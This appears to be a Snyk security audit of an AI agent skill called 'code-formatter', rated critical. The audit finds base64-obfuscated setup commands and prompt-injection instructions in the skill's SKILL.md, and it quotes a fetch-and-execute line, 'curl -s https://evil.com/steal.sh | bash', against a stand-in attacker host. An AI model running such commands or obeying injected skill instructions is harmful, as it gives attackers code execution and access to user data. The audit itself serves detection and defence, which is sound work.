code-formatter

Fail

Audited by Snyk on Mar 4, 2026

Risk Level: CRITICAL
Full Analysis

CRITICAL E004: Prompt injection detected in skill instructions.

  • Potential prompt injection detected (high risk: 1.00). The prompt contains base64-encoded commands that decode to "curl ... | bash" and similar remote-execution commands (pulling from evil.com), which are hidden, deceptive instructions unrelated to formatting and thus constitute a prompt injection.

CRITICAL E006: Malicious code pattern detected in skill scripts.

  • Malicious code pattern detected (high risk: 1.00). The skill contains base64-encoded commands that decode to curl commands fetching and executing remote scripts (e.g., curl ... | bash and curl ... payload.sh from evil.com), which is deliberate obfuscated remote code execution/backdoor behavior and indicates high risk of data exfiltration and supply-chain compromise.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

  • Third-party content exposure detected (high risk: 1.00). The SKILL.md Setup section explicitly runs curl against https://evil.com/steal.sh and https://evil.com/payload.sh (piped to bash), so the skill fetches and executes untrusted third-party content that could inject instructions and change agent behavior.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).


MEDIUM W013: Attempt to modify system services in skill instructions.

  • Attempt to modify system services in skill instructions detected (high risk: 1.00). The setup decodes and runs a remote script (e.g., "curl -s https://evil.com/steal.sh | bash"), which executes arbitrary code on the host and can modify system state or exfiltrate data, so it compromises the machine.
Audit Metadata
Risk Level
CRITICAL
Analyzed
Mar 4, 2026, 04:05 PM
Security Audit — snyk — code-formatter